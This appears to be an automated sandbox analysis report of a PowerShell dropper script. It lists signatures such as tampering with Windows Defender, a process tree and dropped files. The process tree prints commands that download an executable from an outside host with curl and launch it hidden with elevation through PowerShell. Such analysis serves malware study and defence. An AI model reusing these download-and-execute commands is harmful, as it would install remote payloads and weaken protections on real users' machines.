Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 11:40

General

  • Target
    Новый текстовый документ (12).ps1
  • Size 115B
  • Sample261107-ns3lfaxt7n
  • SHA256 442592bf21d3cc9e3d4fbdf015dab52f243942cd794d58313a1a72e2ba14c6b1
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\Новый текстовый документ (12).ps1"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5828
    • C:\Windows\system32\gpupdate.exe
      "C:\Windows\system32\gpupdate.exe" /force
      2⤵
        PID:4848
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C "C:\Users\khFzHU.bat"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4952
        • C:\Windows\system32\curl.exe
          curl -L -s -o "C:\Users\Admin\AppData\Local\Temp\khFzHU.exe" "https://kappa.lol/khFzHU"
          3⤵
          • Downloads MZ/PE file
          PID:5380
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\khFzHU.exe' -Verb RunAs"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1956
          • C:\Users\Admin\AppData\Local\Temp\khFzHU.exe
            "C:\Users\Admin\AppData\Local\Temp\khFzHU.exe"
            4⤵
            • Executes dropped EXE
            PID:1928

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 786c882d393a8522322bccf4537c4697fac0f31d4bc6d2a70f95a013509afabc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_eufy2j4n.ixw.psm1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eufy2j4n.ixw.psm1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          khFzHU.exe

          • Path C:\Users\Admin\AppData\Local\Temp\khFzHU.exe
          • Size 2.1MB
          • SHA256 ee6156518f9281f9550919064ac4e37ca84fb58c588501c5c7b349013ef39069
          • MD5 SHA1 SHA512 SSDEEP TLSH

          minecraft_banner.jpg

          • Path C:\Users\Admin\AppData\Local\Temp\minecraft_banner.jpg
          • Size 296KB
          • SHA256 9ab1a37c507870de5ac6eb176d5bd4b7c3f19ad81ec5f1451ea99e954920bd2a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          splash_icon.png

          • Path C:\Users\Admin\AppData\Local\Temp\splash_icon.png
          • Size 9KB
          • SHA256 8251d171244669d83d07a0bf7514c0107afea0f97e8bf2876dd1b3be7a547a6e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          khFzHU.bat

          • Path C:\Users\khFzHU.bat
          • Size 371B
          • SHA256 ee6818d0a999bc937a6a65930c462d0f092ade50c6b9e9082e01683f018f70c2
          • MD5 SHA1 SHA512 TLSH

          memory/5828-10-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-24-0x0000019CD8690000-0x0000019CD86AE000-memory.dmp

          memory/5828-0-0x00007FFD9FB5F000-0x00007FFD9FB60000-memory.dmp

          memory/5828-11-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-12-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-13-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-14-0x0000019CD80C0000-0x0000019CD8282000-memory.dmp

          memory/5828-17-0x0000019CD7B40000-0x0000019CD7B5E000-memory.dmp

          memory/5828-18-0x0000019CD7FF0000-0x0000019CD80A2000-memory.dmp

          memory/5828-19-0x0000019CD7B60000-0x0000019CD7B6A000-memory.dmp

          memory/5828-8-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-20-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-21-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-9-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-25-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-26-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-27-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-29-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-30-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-31-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-7-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-37-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-39-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-6-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-5-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-4-0x00007FFD9F9D0000-0x00007FFDA0374000-memory.dmp

          memory/5828-3-0x0000019CD7AA0000-0x0000019CD7AC2000-memory.dmp